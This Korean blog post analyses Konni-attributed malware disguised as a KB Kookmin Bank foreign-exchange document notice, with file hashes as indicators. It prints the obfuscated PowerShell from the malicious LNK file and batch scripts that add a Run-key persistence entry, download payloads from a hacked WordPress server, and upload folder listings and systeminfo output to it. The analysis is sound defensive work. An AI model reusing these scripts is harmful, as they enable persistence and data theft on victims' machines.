꿈을꾸는 파랑새

오늘은 김일성, 김정일이 평화의 사도가 아니라 한반도 평화의 최대 위협이며 핵폭탄을 만들려고 하는지 가상화폐, 달러, 기타 외환 시장에서 외화를 획득해서 아무튼 대한민국 안보를 위협하는 수단의 재원을 확보하기 위해서 만든 악성코드로 보이며 아무튼 우리 북한? 정찰총국 소속 아래에 있는 김수키(Kimsuky) 와 자매 관계에 있는 북한 코니(Konni) 에서는 만든 KB국민은행 외국환거래 소명자료 제출서 위장한 악성코드-소명자료 제출 안내서에 대해서 글을 적어보겠습니다.
일단 해당 악성코드는 소명자료 라는 압축파일에 소명자료 에 함께 포함된 문서 외국환거래규정(기획재정부고시) 문서 와 소명자료 제출 안내서.hwp.lnk 이라는 파일이 각각 포함된 것이 특징입니다.

소명 자료 에 포함된 악성 Powershell 코드
소명 자료 에 포함된 악성 Powershell 코드

소명자료 제출 안내서.hwp.lnk 에 포함된 파워셀 코드

StringData
{
    namestring: hwp File
    relativepath: not present
    workingdir: not present
    commandlinearguments
	/c for /f "tokens=*" %f in ('dir /s /b %systemroot%\System32\WindowsPowershell\*(.)exe ^|
    findstr /i rshell(.)exe') do (if exist "%f" (%f "function artist{param($illustrate); <#ni
    c(e) cat#>${~[[@} = $illustrate.substring(0,$illustrate.length-4) + ''; <#air diverse#>re
    turn ${~[[@};};function everything{param($tourname(n)t); r''emo''ve''-it''em $tournament 
    -Force;};function basis{param($chief,$leg,$attractive,$administrat(i)on,$bring);<#urge base
    ball#> ${@}=New''-O''b''jec''t System.IO.FileStream(<#communication depression#>$chief,
    <#brilliant significant#>[System(.)IO.FileMode]::Open,<#today divorce#>[System.IO.File
    Access]::Read);<#television occupation#> ${@}.Seek(<#rural protect#>$leg,[System.IO(.)
    SeekOrigin]::Begin);<#testify tail#> ${#;- }=$attractive*0x01;<#sauce glove#> ${@=[;}=
    New''-O''b''jec''t byte[] <#sue roll#(>)$at(t)ractive; <#strategic interpretation#> ${
    ((-=(@}=N''ew''-Ob''jec''t byte[] <#attack put#>${#;- }; <#main adviser#>${@}.Read(<#b
    utton im(p)lication#>${((-=(@},0,<#farmer shade#>${#;- }); ${@}.Close();${;[-@}=0;whil
    e(${;[-@} -lt $attractive){<#compare b???mb#>${@=[;}[${;[-@}]=${((-=(@}[${;[-@}*0x01] 
    -bxor $administration;${;[-@}++;}<#generation primarily#> s''et''-co''nt''e''nt $bri(n)g <
    #entire ultimately#> ${@=[;} -Encoding <#extensive south#> Byte;};function building{${*} =
    $env:public<#define pay#> (+) '\' +<#impressive aid#> 'do'(+)'cum'(+)'en'(+)'ts';<#deep re
    peatedly#> return ${*};};functi(o)n load{param($anniversary); <#girlfriend learning#>${[/)
    } = Spl''it-''Pat''h $anniversa(r)y;<#married build#> return ${[/)};};f(u)nction cholester
    ol{param($co(l)d, $effor(t)); ${~(-##} = 'ex'(+)'pa'(+)'nd'; &${~(-##} $cold  -F:* $effort
    ;};function training{return G''et-''Lo''cat''io''n;};function distance{<#wound poet#>retur
    n $env:Temp;};fu(n)ction task{${~``/)~} = training; ${.##[ } = hotel -giant ${~``/)~}; <#s
    ociety odd#>if(${.##[ }.length -eq 0) {${~``/)~} = distance; <#kind s(o)up#>${.##[ } = hot
    el -giant ${~``/)~};} return ${.##[ };};function as{${-.~} = $env:public<#examination appo
    intment#> + '\' + 'she'+'et.c'+'ab';<#f(i)ghting owe#> return ${-.~};};function concern{${
    @ ]~//} = $env:public<#flee funeral#>+'\d'(+)'oc'(+)'ume'(+)'nts'(+)'\s'+'ta'(+)'rt.v'(+)'
    bs';<#partner evolution#> return ${@ ]~//};};function hotel{param($giant); <#hurt cup#> ${
    (]}=''; [System.IO.Directory]:(:)GetFiles($giant, '*.'+'lnk', [System.IO.SearchOption]::Al
    lDirectories) | <#spiritual singer#>ForEach-Object { <#winner friend#(>) ${.-[} = [System.
    IO.FileInfo]::new($_); <#fly solve#> if (${.-[}.Length -eq 0x0(0)0F1B07) { <#chair enhance
    #> ${(]} = ${.-[}.FullName;}}; retu(r)n <#aircraft fifty#> ${(]};};${[= . *} = task;<#hall
    (b)y#>${)@} = load -anniv(e)rsary ${[= . *};<#nation rid#> ${@``} = artist -illustrate ${[
    = . *};basis -chief <#bean among#> ${[= . *} -leg <#get previously#> 0x000(0)2310 -attract
    ive 0x0000(D)200 -administration <#fade holiday#> 0x71 -bring <#discovery objective#> ${@`
    `};<#miracle without#> & ${@``};${``/[~ }=as;<#move assign#>b(a)sis -chief <#res(o)lution 
    essentially#> ${[= . *} -leg <#sus(p)ect observe#> 0x0000F510 -attr(a)ctive <#arise yet#> 
    0x(0)0013CD0 -administration <#collapse be(l)ieve#> 0x70 -bring <#sanction a(i)rline#> ${`
    `/[~ };<#impression year#>everything -tournament ${[= . *};${(];/~@} = building;<#responde
    nt realize#>cholesterol -cold ${``/[~ } -effo(r)t <#use listen#>${(];/~@};<#proposed viole
    nt#>everything -tournament ${``/[~ };${@#} = <#Palestinian (p)age#>concern;<#wor(r)y voter
    #>& ${@#};" ) )
    iconlocation: .hwp
}

악성코드 분석

1: 실행 조건 탐색
시스템 전체에서 PowerShell 중에서 rshell(.)exe 의 경로의 파일을 실행
PowerShell 디렉터리 내 rshell.exe 존재 여부 확인
2.LNK 파일 탐색:.lnk 확장자를 가진 파일 중 특정 크기의 LNK 파일을 탐색 
PowerShell 주요 핵심 함수 분석 (PowerShell)
1.artist: 문자열의 마지막 4글자를 제거
.lnk 확장자 제거 목적
2.everything: 특정 파일을 강제로 삭제하며 흔적제거 목적
3.basis:
특정 파일의 지정된 오프셋부터 특정 길이만큼 바이트를 읽고 나서 단일 바이트 XOR 키로 복호화하고 나서 결과를 바이너리 파일로 저장
4.building,load,distance,training
환경 변수를 기반으로 경로를 생성합니다.
사용되는 경로
C:\Users\Public\Documents
%TEMP%

소명자료 에 함께 포함된 문서 외국환거래규정(기획재정부고시) 문서
소명자료 에 함께 포함된 문서 외국환거래규정(기획재정부고시) 문서

현재 PowerShell 실행 위치
5.cholesterol:.cab 파일을 압축 해제
Windows 내장 expand.exe 명령을 사용
6.hotel:모든 하위 디렉터리에서 .lnk 파일을 검색하고 나서 크기가 0x000F1B07 (약 992,263바이트)인 LNK 만 선택
.lnk 파일 크기:0x000F1B07 (992,263 bytes)
파일 위치:C:\Users\Public\Documents\sheet.cab
실행 스크립트:start.vbs
사용 XOR 키:0x71,0x70
복호화 대상 offset:0x2310,0xF510

소명자료 문서 정보
소명자료 문서 정보

해당 악성코드 실행 시 소명자료 제출 안내서라는 파일이 실행되고 다음과 같은 내용을 확인할 수가 있습니다.
1.1. 요청 대상 계좌 및 내용
- 대상 계좌번호: 국민은행 계좌번호
- 검토 사유: 해외 수취 목적 불명확 / 송금 용도 불일치 등
- 점검 범위: 2024.01.01 ~ 2025.04.30 해외 송금 및 수취 거래
1.2. 4. 제출 요청 자료
- 송금/수취 목적을 증명할 수 있는 거래 계약서, 인보이스, 세금 납부 내역 등
- 외화 자금의 출처 또는 사용 계획서
- 기타 요청 거래와 관련된 설명서 또는 보충 자료
1.3. 5. 제출 기한 및 방법
- 제출 기한: 본 안내 수령일로부터 7영업일 이내
- 제출 방법: 가까운 KB국민은행 영업점 방문 또는 담당자 이메일([지점 이메일]) 제출
해당 소명 자료는 2025년 5월 8일 목요일 오전 3:22:58 그리고 generated by python-docx 이라는 것을 확인할 수가 있습니다.
vbs 파일들은 C:\Users\Public\Documents 에 있는 것을 확인할 수가 있습니다.
일단 귀찮아서 핵심만 몇 개 보는 것으로 하겠습니다.

소명자료 문서 정보
소명자료 문서 정보

67321148.bat 코드 내용

67321148.bat 코드 내용
67321148.bat 코드 내용

1:75590470.bat 존재 여부 확인
75590470.bat 파일이 있으면 다음과 같은 동작을 시작함
1.레지스트리 Run 키에 등록->start.vbs자동 실행 (컴퓨터와 노트북 로그인 시)
75590470.bat 실행
43942318.bat 실행
75590470.bat 삭제 (흔적 제거)
지속성(Persistence) 확보 실행이 끝나면 흔적을 없애려고 해당 파일 삭제
2.75590470.bat이 없는 경우(즉 삭제된 상태)
upok.txt도 없으면->43942318.bat 실행
감염 초기화를 다시 시도 파일 유무를 통해 현재 상태를 판단하여 흐름 제어
3:f.txt 존재 여부 루프 제어
f.txt가 없으면->:1 레이블로 이동해서 무한 루프
있으면->EXIT로 이동해서 스크립트 종료
1:루프 내 반복 실행

75590470.bat 내용
75590470.bat 내용

57초 대기 후 f.txt 유무 확인->없으면 다시 계속 반복
백그라운드 감시 f.txt가 존재할 때까지 지속적으로 특정 작업을 시도하는 것이 목적
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v startsvc1 /t REG_SZ /d "%~dp0start.vbs" /f: 현재 사용자 계정의 Run 레지스트리 키에 자동 실행 항목 등록을 한번 즉 윈도우 시작 시 start.vbs 자동 실행을 하게 하는 목적

75590470.bat 내용

@echo off
pushd %~dp0
set fn=di3726
call 56976291(.)bat "hxxps://www(.)rayanlynch.com/wp-includes/js/common/inc/get(.)php?ra=iew&zw=lk0100" "%~dp0%fn%(.)zip" "1" > nul
if not exist %~dp0%fn%(.)zip (
	goto END1
)
set dt=1(.)bat
if not "%dt%"=="" (
	call unzip.exe -o -P "a0" "%~dp0%fn%.zip" > nul
	del /f /q %~dp0%fn%(.)zip > nul
		if exist %~dp0%dt% (
		call %~dp0%dt% > nul
		)		
)
:END1
if exist %~dp0%fn%(.)zip (
	del /f /q %~dp0%fn%(.)zip > nul
)

악성코드 분석

1.pushd %~dp0: 현재 스크립트가 위치한 디렉터리로 이동 한후 실행 위치 기준으로 파일을 제어하려는 목적
2.set fn=di3726:다운로드할 파일 이름 di3726(.)zip 설정
3.call 56976291.bat~~:56976291.bat 파일을 호출해서 어느 워드프레스 해킹한 곳에서 파일 다운로드
URL:악성 페이로드가 위치한 웹쉘 기반 경로
저장 경로:%~dp0di3726(.)zip
세 번째 파라미터 1:다운로드 시 옵션 또는 동작 제어
워드프레스 디렉터리 내 숨겨진 것이 있으며 아마도 해외 워드프레스 사이트 취약점 공격이든 방법으로 사이트 해킹 후 악성코드 잘 심어 놓았음(/wp-includes/js/common/inc/get(.)php)
매개변수 ra=iew&zw=lk0100 는 맞춤형 파일 식별자
56976291(.)bat는 다운로드 역할 (PowerShell,bitsadmin,curl 등 감싸는 역할)
4.다운로드 성공 여부 확인: 파일이 성공적으로 다운로드 되지 않으면 종료
unzip.exe 로 압축 해제
암호:a0
-o:기존 파일 덮어쓰기
실행된 디렉토리 내에 1.bat 이 존재 할 시 실행

43942318.bat 코드

43942318.bat 악성코드
43942318.bat 악성코드

@echo off
pushd "%~dp0"

dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt

systeminfo > %~dp0d4.txt

timeout -t 5 /nobreak
call 59577907.bat "hxxps://www(.)rayanlynch(.)com/wp-includes/js/common/src/upload(.)php" "d1.txt"  "%COMPUTERNAME%_down.txt" >nul
call 59577907.bat "hxxps://www(.)rayanlynch(.)com/wp-includes/js/common/src/upload(.)php" "d2.txt"  "%COMPUTERNAME%_docu.txt" >nul
call 59577907.bat "hxxps://www(.)rayanlynch(.)com/wp-includes/js/common/src/upload(.)php" "d3.txt"  "%COMPUTERNAME%_desk.txt" >nul
call 59577907.bat "hxxps://www(.)rayanlynch(.)com/wp-includes/js/common/src/upload(.)php" "d4.txt"  "%COMPUTERNAME%_sys.txt" >nul

코드 분석

정보 수집(정보 탈취,info-stealer)기능을 수행
사용자 시스템에 있는 민감한 정보를 수집하고 외부 서버로 업로드 하는 방식으로 개인정보 탈취
1.pushd "%~dp0:현재 스크립트 위치로 이동하고 모든 출력 파일(d1.txt, ...)을 배치 파일이 있는 디렉터리에 저장함
2. 파일 시스템 스캔
dir /s: 하위 폴더 포함 전체 디렉터리 구조 출력
%username%:현재 로그인된 사용자 기준
결과 저장:d1.txt,d2.txt,d3.txt
탈취 목적 :
다운로드 폴더: 브라우저 다운로드,민감 문서
문서/바탕화면: 사용자가 작업 중인 파일 다수 존재
시스템 정보 수집
OS, 설치 날짜, 시스템 종류, 메모리,CPU,Hot fix 등 정보 포함
공격자로서 공격 시 유용한 정보
timeout -t 5 /nobreak: 5초간 대기 탐 시스템 리소스 정리 시간 또는 사용자 개입 방지 목적으로 사용
외부 서버로 정보 업로드
59577907.bat 은 업로드 유틸리티 (curl,PowerShell 또는 bitsadmin)을 포함
업로드 대상: 웹쉘 경로 (upload(.)php)
파일명은 컴퓨터 이름으로 맞춤제작->다중 감염 구분 목적
데이터 탈취 (Exfiltration) 수행 명확
사용자 폴더 스캔:다운로드,문서,바탕화면 전체 파일 목록 수집
시스템 정보 수집:systeminfo 통해 PC(컴퓨터, 노트북) 환경 정보 탈취

75745661.bat 내용

@echo ?ff
pushd %~dp0
if exist "temprun(.)bat" (
del /f /q temprun(.)bat
)
call 56976291.bat "hxxps://www(.)rayanlynch(.)com/wp-includes/js/common/src/list(.)php?f=%COMPUTERNAME%.txt" "%~dp0UfKiL(.)cab" "1"> nul

expand UfKiL(.)cab -F:* %~dp0 > nul
del /f /q UfKiL(.)cab > nul
call temprun.bat > nul

악성코드 분석

1.pushd %~dp0: 현재 스크립트의 디렉터리로 이동해서 다른 경로에 영향을 주지 않게 해서 자기 자신이 있는 위치에서 작동
2. 기존 흔적 제거
이전 감염 파일인 temprun(.)bat이 남아있는 것 확인 후 삭제
재실행 시 중복 실행을 방지하는 목적임 즉 은폐하려는 목적
3. 원격 .cab 페이로드 다운로드
URL:.cab 파일을 반환하는 PHP 스크립트 (list(.)php)
저장 위치:UfKiL(.)cab
추가 파라미터 1:다운로드 동작 제어
4.list(.)php?f=%COMPUTERNAME%.txt->감염 시스템의 이름을 기준으로 맞춤형 페이로드 전달
5.CAB 파일 압축 해제
expand는 Windows 기본 유틸리티 (관리자 권한 없이 가능)
-F:옵션은 CAB 내 모든 파일을 추출
추출 디렉터리는 현재 실행 경로
temprun.bat+추가 파일들이 현재 디렉터리에 생성됨
6.흔적 제거:다운로드 했던 .cab 파일 삭제
결론: 정말로 우리 북한은 대한민국의 안보 및 그리고 개인의 돈 및 가상화폐(암호화폐) 확보를 위해서 노력 중인 것을 확인할 수가 있습니다.
파일명:소명자료 제출 안내서.hwp.lnk
사이즈:1 MB
MD5:6a4c3256ff063f67d3251d6dd8229931
SHA-1:305246b52f043f021761f7010fe5794fca3c88bc
SHA-256:135696c7a5b543ce2ab4a6aac7615d4fdce261c3c7097bea738ba46bcd948660
보니까?북한 애들은 한국을 무슨 법카 인줄 아는 느낌?

공유하기

facebook twitter kakaoTalk kakaostory naver band